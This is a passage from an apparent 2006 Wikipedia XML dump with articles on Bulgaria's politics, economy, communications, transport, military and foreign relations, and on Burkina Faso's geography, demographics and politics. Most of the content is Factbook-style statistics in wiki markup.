[[ACCT]], [[Australia Group]], [[BSEC]], [[Council of Europe|CE]], [[Central European Initiative|CEI]], [[CERN]], [[Euro-Atlantic Partnership Council|EAPC]], [[EBRD]], [[United Nations Economic Commission for Europe|ECE]], [[EU]], [[Food and Agriculture Organization|FAO]], [[G-9]], [[IAEA]], [[IBRD]], [[ICAO]], [[ICCt]], [[ICFTU]], [[International Red Cross and Red Crescent Movement|ICRM]], [[IFC]], [[IFRCS]], [[IHO]] (pending member), [[International Labour Organization|ILO]], [[IMF]], [[International Maritime Organization|IMO]], [[Interpol]], [[IOC]], [[International Organization for Migration|IOM]], [[International Organization for Standardization|ISO]], [[International Telecommunication Union|ITU]], [[Non-Aligned Movement|NAM]] (guest), [[NATO]], [[Nuclear Suppliers Group|NSG]], [[Organization of American States|OAS]] (observer), [[OPCW]], [[Organization for Security and Co-operation in Europe|OSCE]], [[Permanent Court of Arbitration|PCA]], [[Partnership for Peace|PFP]], [[Southeast European Cooperative Initiative|SECI]], [[UN]], [[UN Security Council]] (temporary), [[UNCTAD]], [[UNESCO]], [[UNIDO]], [[UNMEE]], [[UNMIBH]], [[UNMIK]], [[UNMOP]], [[UPU]], [[World Confederation of Labour|WCL]], [[WCO]], [[WEU]] (associate partner), [[WFTU]], [[World Health Organization|WHO]], [[WIPO]], [[WMO]], [[WToO]], [[WTrO]], [[Zangger Committee|ZC]]

==Other data==

'''Political pressure groups and leaders:'''
*[[Confederation of Independent Trade Unions of Bulgaria]] or CITUB
*[[Podkrepa Labour Confederation]]
*numerous regional, ethnic, and national interest groups with various agendas

==See also==
* [[Bulgaria]]
* [[Foreign relations of Bulgaria]]
* [[Flag of Bulgaria]]


[[Category:Politics of Bulgaria| ]]

[[fr:Politique de la Bulgarie]]
[[pl:Ustrój polityczny Bułgarii]]
[[pt:Política da Bulgária]]
[[ro:Politica Bulgariei]]
[[sv:Bulgariens politik]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Bulgaria</title>
    <id>3671</id>
    <revision>
      <id>41913785</id>
      <timestamp>2006-03-02T16:05:29Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
      </contributor>
      <comment>Dab. sanctions</comment>
      <text xml:space="preserve">{{Economy of Bulgaria table}}

The '''economy of Bulgaria''' has contracted dramatically after [[1989]] with the collapse of the [[COMECON]] system and the loss of the [[Soviet Union|Soviet]] market, to which the [[Bulgaria|Bulgarian]] [[economic system|economy]] had been closely tied. The [[standard of living]] fell by about 40%, only to regain pre-[[1989]] levels in June of [[2004]]. In addition, [[United Nations|UN]] [[economic sanctions|sanctions]] against [[Serbia]] (1992-95) and [[Iraq]] took a heavy toll on the Bulgarian economy. First signs of recovery emerged when [[Gross domestic product|GDP]] grew 1.4% in [[1994]] for the first time since [[1988]], and 2.5% in [[1995]]. Inflation, which surged in 1994 to 122%, fell to 32.9% in 1995. During [[1996]], however, the economy collapsed due to the [[Bulgarian Socialist Party|BSP]]'s go-slow, mismanaged economic reforms, its disastrous [[agricultural policy]], and an unstable and decapitalized banking system, which led to inflation of 311% and the collapse of the [[lev]]. When pro-reform forces came into power in spring [[1997]], an ambitious economic reform package, including introduction of a currency board regime, was agreed with the [[IMF]] and the [[World Bank]], and the economy began to stabilize. As of [[2006]] the economy is growing at a steady  pace of around 5% a year with inflation well under control. Future prospects are tied with the country's ever greater integration with EU's economic structures.

== External trade &amp; Investment ==
Since [[1990]], the bulk of Bulgarian trade has shifted from former COMECON countries primarily to the [[European Union]], although [[Russia]]n oil exports to Bulgaria make it Bulgaria's largest single trading partner. In December 1996, Bulgaria joined the [[World Trade Organization]]. Bulgaria's slow pace of cash privatization, contradictory government tax and investment policies, and bureaucratic red tape have kept [[foreign]] investment among the lowest in the region. Total direct foreign investment from [[1991]] through [[1996]] was $831 million. [[Germany]] was the largest investor.

== Economic reforms ==
The BSP promised to move forward on cash and mass [[privatization]] upon taking office in January [[1995]] but was slow to act. The first round of mass privatization finally began in January 1996, and auctions began toward the end of that year. The second and third rounds were conducted in Spring [[1997]] under a new government. In July [[1998]], the UDF-led government and the IMF reached agreement on a 3-year loan worth about $800 million, which replaced the 14-month stand-by agreement that expired in June 1998. The loan вас used to develop financial markets, improve social safety net programs, strengthen the tax system, reform agricultural and energy sectors, and further liberalize trade. As of 2006 Bulgaria is considered a working market economy and has finalized many of the required reforms.

== Overview ==
In April 1997, the [[Union of Democratic Forces (Bulgaria)|Union of Democratic Forces]] (UDF) government won pre-term parliamentary elections and introduced an IMF currency board system which succeeded in stabilizing the economy. The triple digit inflation of 1996 and 1997 has given way to an official [[growth]], but forecasters are predicting accelerated growth over the next several years. The government's structural reform program includes: (a) privatization and, where appropriate, liquidation of state-owned enterprises (SOEs); (b) liberalization of agricultural policies, including creating conditions for the development of a land market; (c) reform of the country's social insurance programs; and (d) reforms to strengthen contract enforcement and fight crime and corruption.

==Statistics==
'''GDP:'''
purchasing power parity - $66.96 billion (2005 est.)

'''GDP - real growth rate:'''
5.4% (2005 est.)

'''GDP - per capita:'''
purchasing power parity - $9,000 (2005 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
10.1%
&lt;br&gt;''industry:''
30.2%
&lt;br&gt;''services:''
59.7% (2005)

'''Population below [[poverty line]]:'''
13.4% (2002 est.)

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
5.6%
&lt;br&gt;''highest 10%:''
22.8% (1997)

'''Distribution of family income - [[Gini index]]:'''
26.4% (2001)

'''Inflation rate (consumer prices):'''
4.4% (2005 est.)

'''Labor force:'''
3.34 million (2005 est.)

'''Labor force - by occupation:'''
agriculture 11%, industry 32.5%, services 56.3% (2004, 3rd quarter)

'''Unemployment rate:'''
11.5% (2005)

'''Budget:'''
&lt;br&gt;''revenues:''
$11.18 billion
&lt;br&gt;''expenditures:''
$10.9 billion, including capital expenditures of $NA (2004 est.)

'''Public debt:'''
 32.4% of GDP (2005 est.)

'''Industries:'''
[[electricity]], [[machine building]] and [[metal working]], [[food processing]], [[chemicals]], [[construction materials]], ferrous and nonferrous metals, [[nuclear fuel]]

'''Industrial production growth rate:'''
7% (2005 est.)

'''Electricity - production:'''
43.07 [[TWh]] (2002)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
48%
&lt;br&gt;''hydro:''
8%
&lt;br&gt;''nuclear:''
44%
&lt;br&gt;''other:''
0% (1998)

'''Electricity - consumption:'''
32.71 TWh (2002)

'''Electricity - exports:'''
8.3 TWh (2002)

'''Electricity - imports:'''
0.96 TWh (2002)

'''Oil - production:'''
603 barrel/d (96 m³/d) 2001 est.

'''Oil - consumption:'''
94,000 barrel/d (15,000 m³/d) 2001 est.

'''Oil - exports:'''
NA

'''Oil - imports:'''
NA

'''Oil - proved reserves:'''
8.1 million barrels (1,300,000 m³) ([[1 January]] [[2002]])

'''Natural gas - production:'''
4 million m³ (2001 est.) 

'''Natural gas - consumption:'''
5.804 km³ (2001 est.) 

'''Natural gas - exports:'''
0 m³ (2001 est.)

'''Natural gas - imports:'''
5.8 km³ (2001 est.) 

'''Natural gas - proved reserves:'''
3.724 km³ ([[1 January]] [[2002]]) 

'''Agriculture - products:'''
[[vegetables]], [[fruits]], [[tobacco]], [[livestock]], [[wine]], [[wheat]], [[barley]], [[sunflower]]s, [[sugar beet]]s

'''Exports:'''
$11.67 billion (f.o.b., 2005 est.)

'''Exports - commodities:'''
machinery and equipment; metals, minerals, and fuels; chemicals and plastics; food, tobacco, clothing

'''Exports - partners:'''
Italy 14.6%, Germany 11.7%, Turkey 9.2%, US 5.8%, Greece 5.7%, Belgium 5.4%, France 5.1% (2003) 

'''Imports:'''
$15.9 billion (f.o.b., 2005 est.)

'''Imports - commodities:'''
fuels, minerals, and raw materials; machinery and equipment; metals and ores; chemicals and plastics; food, textiles (1998)

'''Imports - partners:'''
Germany 14.4%, Russia 12.6%, Italy 10.3%, Greece 6.7%, Turkey 6.2%, France 5.7% (2003)

'''Current account balance:'''
$682.9 million (2004 est.)

'''Reserves of foreign exchange &amp; gold:'''
$9.707 billion (2005 est.) 

'''Debt - external:'''
$15.46 billion (2005 est.)

'''Economic aid - recipient:'''
$300 million (2002 est.)

'''Currency:'''
1 lev (Lv) = 100 stotinki

'''Exchange rates:'''

leva per US dollar - 1.66 (2004), 1.7327 (2003), 2.077 (2002), 2.1847 (2001), 2.1233 (2000) 
on [[5 July]] [[1999]] the lev was re-denominated; the post-[[5 July]] [[1999]] lev is equal to 1,000 of the pre-[[5 July]] [[1999]] leva

'''Fiscal year:'''
calendar year

==See also==
*[[Economy of Europe]]
*[[Bulgaria]]

{{WTO}}
[[Category:Economy of Bulgaria| ]]
[[Category:Economies by country|Bulgaria]]
[[Category:WTO members|Bulgaria]]

[[bg:Икономика на България]]
[[sv:Bulgariens ekonomi]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Bulgaria</title>
    <id>3672</id>
    <revision>
      <id>23083962</id>
      <timestamp>2005-09-12T05:21:03Z</timestamp>
      <contributor>
        <username>CalJW</username>
        <id>233571</id>
      </contributor>
      <comment>moved to head of own category</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
3.186 million ([[1999]])

'''Telephones - [[mobile telephone|mobile cellular]]:'''
6 million ([[2005]])

'''Telephone system:'''
more than two-thirds of the lines are residential

* ''Domestic:''  Extensive but antiquated transmission system of [[coaxial cable]] and [[microwave]] radio relay; telephone service is available in most [[village]]s; a more modern [[digital cable]] [[trunk line]] now connects switching centers in most of the regions, the others being connected by digital [[microwave]]
* ''International:''  Direct dialing to 58 countries; [[satellite]] earth stations - 1 [[Intersputnik]] ([[Atlantic Ocean]] region); 2 [[Intelsat]] ([[Atlantic Ocean|Atlantic]] and [[Indian Ocean]] regions)

'''Radio broadcast stations:'''
[[Amplitude modulation|AM]] 24, [[FM]] 93, shortwave 2 ([[1998]])

'''Radio broadcast hours:'''
525,511 (2003)

'''[[Radio]]s:'''
4.51 million ([[1997]])

'''[[Television]] broadcast stations:'''
140 (2005)

'''[[Television]] broadcast hours:'''
498,091 (2003)

'''Televisions:'''
3.31 million (1997)

'''[[Internet Service Provider]]s (ISPs):'''
200+ only in the capital of Sofia (2005)&lt;br&gt;
300+ in the rest ot the country
'''[[Country code]]:''' BG

'''See also :''' [[Bulgaria]]

[[Category:Communications in Bulgaria| ]]
[[Category:Communications by country|Bulgaria]]

[[bg:Комуникация в България]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Bulgaria</title>
    <id>3673</id>
    <revision>
      <id>42038143</id>
      <timestamp>2006-03-03T10:52:07Z</timestamp>
      <contributor>
        <ip>87.202.41.198</ip>
      </contributor>
      <comment>Greece is also linked to Bulgaria by rail.</comment>
      <text xml:space="preserve">== [[Railway]]s ==
&lt;br&gt;''total:''
4,294 km
&lt;br&gt;''standard gauge:''
4,049 km 1.435-m gauge (2,710 km electrified; 917 km double track)
&lt;br&gt;''narrow gauge:''
245 km 0.760-m gauge (1998)

=== Railway links with adjacent countries ===

* [[Transportation in Romania|Romania]] - yes
* [[Transportation in Hungary|Hungary]] - yes
* [[Transportation in Turkey|Turkey]] - yes
* [[Transportation in Macedonia|Macedonia]] - yes
* [[Transportation in Serbia and Montenegro|Serbia and Montenegro]] - yes
* [[Transportation in Greece|Greece]] - yes

== [[Highway]]s ==
&lt;br&gt;''total:''
36,759 km
&lt;br&gt;''paved:''
33,818 km (including 319 km of expressways)
&lt;br&gt;''unpaved:''
2,941 km (1998 est.)

== Waterways ==
470 km (1987)

== [[Pipeline]]s ==
[[petroleum]] products 525 km; [[natural gas]] 1,500 km (1999)

== Ports and harbors ==
[[Burgas]], [[Lom, Bulgaria|Lom]], [[Nessebur]], [[Ruse, Bulgaria|Ruse]], [[Varna]], [[Vidin]]

== [[Merchant marine]] ==
&lt;br&gt;''total:''
85 ships (1,000 GRT or over) totaling 947,711 GRT/1,449,416 DWT
&lt;br&gt;''ships by type:''
bulk 43, cargo 18, chemical tanker 4, container 2, passenger/cargo 1, petroleum tanker 7, rail car carrier 2, refrigerated cargo 1, roll-on/roll-off 5, short-sea passenger 1, specialized tanker 1 (1999 est.)

== [[Airport]]s ==

* [[List of airports in Bulgaria]]

216 (1999 est.)

=== Airports - with paved runways ===
&lt;br&gt;''total:''
129
&lt;br&gt;''over 3,047 m:''
1
&lt;br&gt;''2,438 to 3,047 m:''
19mm
&lt;br&gt;''1,524 to 2,437 m:''
15
&lt;br&gt;''914 to 1,523 m:''
1
&lt;br&gt;''under 914 m:''
93 (1999 est.)

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
87
&lt;br&gt;''1,524 to 2,437 m:''
2
&lt;br&gt;''914 to 1,523 m:''
10
&lt;br&gt;''under 914 m:''
75 (1999 est.)

== See also ==

* [[Bulgaria]]


[[Category:Transportation in Bulgaria| ]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Bulgaria</title>
    <id>3674</id>
    <revision>
      <id>41877412</id>
      <timestamp>2006-03-02T08:22:15Z</timestamp>
      <contributor>
        <ip>80.13.192.78</ip>
      </contributor>
      <comment>/* Land Forces */</comment>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;

| bgcolor=&quot;#00AADD&quot; align=&quot;center&quot; colspan=&quot;2&quot; | &lt;big&gt; '''Bulgarian Army'''&lt;/big&gt;
|-
| align=&quot;center&quot; colspan=&quot;2&quot; |[[Image:BGgerb2.gif|280px|]]
|- 
| align=&quot;center&quot; colspan=&quot;2&quot; | '''Military manpower'''
|- 
| '''Military age''' 
| '''18 years of age''' 
|- 
| '''Availability''' 
| males age 15-49: '''1,913,857''' (2000 est.)
|-
| '''Fit for military service''' 
| males age 15-49: '''1,599,379''' (2000 est.)
|-
| '''Reaching military age annually''' 
| males: '''57,461''' (2000 est.)
|- 
| '''Total active troops'''
| '''51,000''' ([[List of countries by number of active troops|ranked 68th]])
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | '''Expenditure'''
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | &lt;small&gt;(not including expenditure for military pensions)&lt;/small&gt;
|- 
| '''[[United States dollar|US dollar]]''' figure
| '''$503 million'''
|- 
| '''Percent of [[Gross domestic product|GDP]]''' &lt;br&gt;(2004)
| '''2.5%'''
|}

The '''Bulgarian Army''' (Bulgarian: ''Българска армия'') represents the Armed Forces of the [[Republic of Bulgaria]]. Commander-in-Chief is the [[President of Bulgaria]] [[Georgi Parvanov]]. The Ministry of Defense is in charge of political leadership while military command remains in the hands of the General Staff, headed by the Chief of Staff. Operational elements of the Bulgarian Army include: '''Bulgarian Land Forces''' ([[army]]), '''Bulgarian Navy''' ([[navy]]), and the '''Bulgarian Air Forces''' ([[air force]]).

The [[patron saint]] of the Bulgarian Army is [[St. George]], and [[Valor Day]] ([[May 6]], also known as St. George's Day) has long been celebrated as Valor and Army Day. It is an official holiday in Bulgaria.

After the country became a [[NATO]] member in April 2004, the [[Bulgarian Ministry of Defense]] has begun a new downsizing, modernization, and reform program (known as [[PLAN 2004]]) that will result in the adoption of a smaller force structure of around 50,000 personnel, based upon a [[rapid reaction force]] and two additional corps headquarters, all with subordinate brigades.

== History of the Bulgarian Army ==
== General Staff ==
Currently headed by Chief of Staff [[General Nikola Kolev]], the General Staff is responsible for the military and operational command of the Bulgarian Army and its 3 major branches.

== Land Forces ==

[[Image:Bulgarian_land_forces.jpg|right|thumb|250px|Bulgarian Land Forces exercise]]
[[Image:BMP-23 CM.jpg|thumb|BMP-3 Bulgarian in Iraq]]
The Land Forces are functionally divided into '''Active''' and '''Reserve Forces'''. Their main functions include deterrence, defense, [[peace]] support and [[crisis management]], humanitarian and rescue missions, as well as social functions within Bulgarian society.

The Active Forces mainly have peacekeeping and defensive duties, and are further divided into Deployment Forces, Immediate Reaction, and Main Defense Forces. The Reserve Forces comprise of Enhancement Forces, Territorial Defense Forces, and Training Grounds. They deal with planning and reservist preparation, armaments and equipment storage, training of formations for active forces rotation or increase in personnel.

[[Image:Bulgarian_land_forces_training.jpg|left|thumb|250px|Bulgarian Land Forces in training for winter combat]] During peacetime the Land Forces maintain permanent [[combat]] and [[mobilization]] readiness. They become part of multinational military formations in compliance with [[international treaties]] Bulgaria is a Party of, participate in the preparation of the population, the national economy and the maintenance of wartime reserves and the [[infrastructure]] of the country for defense.

In times of crisis the Land Forces' main tasks relate to participation in operations countering [[terrorism|terrorist activities]] and defense of strategic facilities (such as [[nuclear power]] plants and major industrial facilities), assisting the security forces in proliferation of [[weapons of mass destruction]], illegal armaments traffic and international terrorism.

In case of low- and medium-intensity military conflict the Active Forces that are part of the Land Forces participate in carrying out the initial tasks for the defense of the [[territorial integrity]] and [[sovereignty]] of the country. 

In case of a military conflict of high intensity the Land Forces, together with the Air Force and the Navy, form the defense group of the Bulgarian Army aiming at countering aggression and protection of the territorial integrity and sovereignty of the country.

== Navy ==

== Air Force ==

== References and links ==
*[[Bulgaria]]
*[[NATO]]

{{NATO}}
[[Category:Military of Bulgaria| ]]
 
[[bg:Армия на България]]
[[fr:Armée bulgare]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Bulgaria</title>
    <id>3675</id>
    <revision>
      <id>35516560</id>
      <timestamp>2006-01-17T08:11:24Z</timestamp>
      <contributor>
        <username>Berkut</username>
        <id>86399</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Politics of Bulgaria}}
[[Bulgaria]] has generally good relations with its neighbors and has proved to be a constructive force in the region under [[socialism|socialist]] and [[democracy|democratic]] governments alike. Promoting regional stability, Bulgaria hosted a Southeast European Foreign Ministers meeting in July [[1996]], and an [[Organization for Security and Co-operation in Europe|OSCE]] conference on [[Black Sea]] cooperation in November [[1995]]. Bulgaria also participated in the 1996 South [[Balkans|Balkan]] Defense Ministerial in [[Albania]] and is active in the Southeast European Cooperative Initiative.

With their close historical, cultural, and economic ties, Bulgaria seeks a mutually beneficial relationship with [[Russia]], on which it is largely dependent for energy supplies. Sporadic negotiations are underway among [[Greece]], Bulgaria, and Russia for construction of a gas pipeline from [[Burgas]] on the [[Black Sea]] to [[Alexandroupolis]] to transport [[Caspian Sea]] oil.

Bulgaria's [[EU]] Association Agreement came into effect in [[1994]], and Bulgaria formally applied for full EU membership in December 1995. During the [[1999]] EU summit in [[Helsinki]], the country was invited to start membership talks with the Union. These are currently completed, and [[January 1]], [[2007]], has been set as Bulgaria's accession date. In 1996, Bulgaria acceded to the [[Wassenaar Arrangement]] controlling exports of weapons and sensitive technology to countries of concern and also was admitted to the [[World Trade Organization]]. Bulgaria is a member of the [[Zangger Committee]] and the [[Nuclear Suppliers Group]]. After a period of equivocation under a socialist government, in March 1997 a [[UDF]]-led caretaker cabinet applied for full [[NATO]] membership, which became a reality in April 2004. Talks are underway with the [[United States]] for possible military bases and training camps of the U.S. Army in Bulgaria, as part of the Pentagon's restructuring plan.

Bulgaria joined NATO's [[Partnership for Peace]] in 1994 and applied for NATO membership in 1997. During the November [[2002]] [[Prague]] Summit Bulgaria was one of seven former socialist countries invited to join the Alliance. Bulgaria became a member of NATO in April 2004. The country is also working toward NATO compatibility in communications and training, and has established a Peacekeeping Training Center.

In [[2003]], Bulgaria was elected as a non-permament member of the [[UN Security Council]], proving to be one of 3 closest [[United States|U.S.]] allies during the [[Iraq]]i Crisis, together with the [[United Kingdom|U.K.]] and [[Spain]]. Bulgaria also presides the [[Organization for Security and Co-operation in Europe|OSCE]] in 2004.

==Illicit drugs==
Major [[Europe]]an transshipment point for Southwest [[Asia]]n [[heroin]] and, to a lesser degree, [[South America]]n [[cocaine]] for the European market; limited producer of precursor chemicals.

==Libya==
In the late 1990s a [[Libya]]n [[children's hospital]] was the site of an [[outbreak]] of [[HIV]] infection that spread to over 400 patients. Libya blamed the outbreak on [[AIDS scandal in Libya|Bulgarian nurses and a Palestinian doctor]], who were arrested and eventually sentenced to death. The international view is that Libya has used the medics as [[scapegoat]]s for poor hygiene conditions, and [[Bulgaria]] and other countries including the [[European Union]] and the [[United States]] have repeatedly called on Tripoli to release them. [[As of]] [[2005]], the case remains unresolved, and is the source of increasing tensions with Bulgaria, as well as an obstacle to continuing the process of improved relations with the West.


[[Category:Foreign relations of Bulgaria| ]]

[[bg:Външна политика на България]]</text>
    </revision>
  </page>
  <page>
    <title>Burkina Faso/History</title>
    <id>3676</id>
    <revision>
      <id>15901991</id>
      <timestamp>2002-03-02T14:46:15Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Burkina Faso]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Burkina Faso</title>
    <id>3677</id>
    <revision>
      <id>40553593</id>
      <timestamp>2006-02-21T11:06:13Z</timestamp>
      <contributor>
        <username>Lupo</username>
        <id>34978</id>
      </contributor>
      <comment>better map</comment>
      <text xml:space="preserve">[[Image:Burkina Faso Map.jpg|right|thumb|280px|Map Of Burkina Faso]]
[[Burkina Faso]] (formerly Upper Volta) is a landlocked [[Sahel]] country that shares borders with six nations. It is normally bright yellow on a map.  It lies between the [[Sahara]] Desert and the [[Gulf of Guinea]], south of the loop of the [[Niger River]]. The land is green in the south, with forests and fruit trees, and desert in the north. Most of central Burkina Faso lies on a [[savanna]] plateau, 198-305 meters (650-1,000 ft.) above sea level, with fields, brush, and scattered trees. Burkina Faso's game preserves--the most important of which are [[Arly]], [[Nazinga]], and [[W National Park]]--contain [[Panthera leo|lion]]s, [[elephant]]s, [[hippopotamus]], [[monkey]]s, [[warthog]]s, and [[antelope]]s. Tourism is not well developed.

Annual [[rainfall]] varies from about 100 centimeters (40 in.) in the south to less than 25 centimeters (10 in.) in the extreme north and northeast, where hot desert winds accentuate the dryness of the region. Burkina Faso has three distinct [[season]]s: warm and dry (November-March), hot and dry (March-May), and hot and wet (June-October). Rivers are not navigable.

'''Location:'''
Western [[Africa]], north of [[Ghana]]

'''Geographic coordinates:''' {{coor d|13|N|2|W|}}

'''Map references:''' [[Africa]]

'''Area:'''
&lt;br /&gt;''total:'' 274,200 km&amp;sup2;
&lt;br /&gt;''land:'' 273,800 km&amp;sup2;
&lt;br /&gt;''water:'' 400 km&amp;sup2;

'''Area - comparative:''' slightly larger than [[Colorado]]

'''Land boundaries:'''
&lt;br /&gt;''total:'' 3,192 km
&lt;br /&gt;''border countries:''
[[Benin]] 306 km,
[[Côte d'Ivoire]] 584 km,
[[Ghana]] 548 km,
[[Mali]] 1,000 km,
[[Niger]] 628 km,
[[Togo]] 126 km

'''Coastline:''' 0 km (landlocked)

'''Maritime claims:''' none (landlocked)

'''Climate:''' tropical; warm, dry winters; hot, wet summers

'''Terrain:'''
mostly flat to dissected, undulating plains; hills in west and southeast

'''Elevation extremes:'''
&lt;br /&gt;''lowest point:''
[[Mouhoun]] ([[Black Volta]]) River 200 m
&lt;br /&gt;''highest point:''
[[Tena Kourou]] 749 m

'''Natural resources:'''
[[manganese]], [[limestone]], [[marble]]; small deposits of [[gold]], [[antimony]], [[copper]], [[nickel]], [[bauxite]], [[lead]], [[phosphates]], [[zinc]], [[silver]]

'''Land use:'''
&lt;br /&gt;''arable land:'' 13%
&lt;br /&gt;''permanent crops:'' 0%
&lt;br /&gt;''permanent pastures:'' 22%
&lt;br /&gt;''forests and woodland:'' 50%
&lt;br /&gt;''other:'' 15% (1993 est.)

'''Irrigated land:'''
200 km² (1993 est.)

'''Natural hazards:'''
recurring [[drought]]s

'''Environment - current issues:'''
recent droughts and [[desertification]] severely affecting agricultural activities, population distribution, and the economy; [[overgrazing]]; soil degradation; [[deforestation]]

'''Environment - international agreements:'''
&lt;br /&gt;''party to:''
[[Biodiversity]], Climate Change, Desertification, Endangered Species, Hazardous Wastes, Marine Life Conservation, Ozone Layer Protection, Wetlands
&lt;br /&gt;''signed, but not ratified:''
Law of the Sea, Nuclear Test Ban

'''Geography - note:'''
landlocked

{{Africa in topic|Geography of}}

[[Category:Geography by country|Burkina Faso]]
[[Category:Geography of Burkina Faso| ]]

[[es:Geografía de Burkina Faso]]
[[pt:Geografia do Burkina Faso]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Burkina Faso</title>
    <id>3678</id>
    <revision>
      <id>39374220</id>
      <timestamp>2006-02-12T19:18:31Z</timestamp>
      <contributor>
        <ip>83.121.2.141</ip>
      </contributor>
      <comment>disambiguation from [[FAO]] to [[Food and Agriculture Organization]] by the [[User:DabMachine|DabMachine]]</comment>
      <text xml:space="preserve">[[Image:Burkina-Faso-Demography.png|thumb|300px|right|Demographics of Burkina Faso, Data of [[Food and Agriculture Organization|FAO]], year 2005 ; Number of inhabitants in thousands.]]
[[Burkina Faso]]'s 10 million people belong to two major [[West Africa]]n cultural groups--the [[Voltaic]] and the [[Mande]]. The Voltaic are far more numerous and include the [[Mossi]], who make up about one-half of the population. The Mossi claim descent from warriors who migrated to present-day Burkina Faso and established an empire that lasted more than 800 years. Predominantly farmers, the Mossi are still bound by the traditions of the [[Mogho Naba]], who hold court in [[Ouagadougou]].

About 5,000 [[Europe]]ans reside in Burkina Faso.

Most of Burkina's people are concentrated in the south and center of the country, sometimes exceeding 48 per square kilometer (125/sq. mi.). This population density, high for [[Africa]], causes annual migrations of hundreds of thousands of Burkinabe to [[Côte d'Ivoire]] and [[Ghana]] for seasonal agricultural work. About a third of Burkinabe adhere to traditional African religions. The introduction of [[Islam]] to Burkina Faso was initially resisted by the Mossi rulers. [[Christianity|Christian]]s, predominantly [[Catholic]]s, are largely concentrated among the urban elite.

Few Burkinabe have had formal education. Schooling is free but not compulsory, and only about 29% of Burkina's primary school-age children receive a basic education. The [[University of Ouagadougou]], founded in [[1974]], was the country's first institution of higher education. The Polytechnical University in [[Bobo-Dioulasso]] was opened in [[1995]].

==Demographic data from the CIA World Factbook==

===Population===
:13,925,313
:''Note'': estimates for this country explicitly take into account the effects of excess mortality due to AIDS; this can result in lower life expectancy, higher infant mortality and death rates, lower population and growth rates, and changes in the distribution of population by age and sex than would otherwise be expected (July 2005 est.)

===Age structure===
:0-14 years: 46% (male 3,213,436/female 3,193,253)
:15-64 years: 51.2% (male 3,487,201/female 3,635,673)
:65 years and over: 2.8% (male 164,418/female 231,332) (2005 est.)

===Median age===
:Total: 16.82 years
:Male: 16.43 years
:Female: 17.22 years (2005 est.)

===Population growth rate===
:2.53% (2005 est.)

===Birth rate===
:44.17 births/1,000 population (2005 est.)

===Death rate===
:18.86 deaths/1,000 population (2005 est.)

===Net migration rate===
:0 migrant(s)/1,000 population (2005 est.)

===Sex ratio===
:At birth: 1.03 male(s)/female
:Under 15 years: 1.01 male(s)/female
:15-64 years: 0.96 male(s)/female
:65 years and over: 0.71 male(s)/female
:Total population: 0.97 male(s)/female (2005 est.)

===Infant mortality rate===
:Total: 97.57 deaths/1,000 live births
:Male: 105.55 deaths/1,000 live births
:Female: 89.34 deaths/1,000 live births (2005 est.)

===Life expectancy at birth===
:Total population: 43.92 years
:Male: 42.19 years
:Female: 45.7 years (2005 est.)

===Total fertility rate===
:6.23 children born/woman (2005 est.)

===HIV/AIDS===
:Adult prevalence rate: 4.2% (2003 est.)
:People living with HIV/AIDS: 300,000 (2003 est.)
:Deaths: 29,000 (2003 est.)

===Major infectious diseases===
:Degree of risk: very high
:Food or waterborne diseases: bacterial and protozoal diarrhea, hepatitis A, and typhoid fever
:Vectorborne disease: malaria is a high risk in some locations
:Water contact disease: schistosomiasis
:Respiratory disease: meningococcal meningitis (2004)

===Nationality===
:Noun: Burkinabe (singular and plural)
:Adjective: Burkinabe

===Ethnic groups===
:Mossi over 40%, Gurunsi, Senufo, Lobi, Bobo, Mande, Fulani

===Religions===
:Muslim 50%, Christian (mainly Roman Catholic) 30%, Indigenous beliefs 20%

===Languages===
:French (official), native African languages belonging to Sudanic family spoken by 90% of the population

===Literacy===
:Definition: age 15 and over can read and write
:Total population: 26.6%
:Male: 36.9%
:Female: 16.6% (2003 est.)

==References==
{{CIA WFB 2005}}

{{Africa in topic|Demographics of}}

[[Category:Burkina Faso]]
[[Category:Demographics by country|Burkina Faso]]

[[fr:Démographie du Burkina Faso]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Burkina Faso</title>
    <id>3679</id>
    <revision>
      <id>35252516</id>
      <timestamp>2006-01-15T08:52:48Z</timestamp>
      <contributor>
        <username>Acntx</username>
        <id>104025</id>
      </contributor>
      <minor />
      <comment>/* Legislative branch */</comment>
      <text xml:space="preserve">{{Politics of Burkina Faso}}
'''Politics of Burkina Faso''' takes place in a framework of a [[presidential system|presidential]] [[republic]], whereby the [[President of Burkina Faso]] is both [[head of state]] and [[head of government]], and of a pluriform multi-party system. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and parliament. The party system is dominated by the [[Congress for Democracy and Progress]]. The [[Judiciary]] is independent of the executive and the legislature.

== Political history ==
In [[1990]], the [[Popular Front]] held its first National Congress, which formed a committee to draft a national [[constitution]]. The constitution was approved by [[referendum]] in [[1991]]. In [[1992]], [[Blaise Compaoré]] was elected [[president]], running unopposed after the opposition [[boycott]]ed the election because of Compaoré's refusal to accede to demands of the opposition such as a sovereign National Conference to set modalities. The opposition did participate in the following year's legislative elections, in which the [[ODP/MT]] won a majority of seats.

The government of the Fourth Republic includes a strong presidency, a [[prime minister]], a Council of Ministers presided over by the president, a two-chamber National Assembly, and the judiciary. The legislature and judiciary are independent but remain susceptible to outside influence.

In [[1995]], Burkina held its first multiparty municipal elections since independence. With minor exceptions, balloting was considered free and fair by the local [[human rights]] organizations which monitored the contest. The president's ODP/MT won over 1,100 of some 1,700 councillor seats being contested.

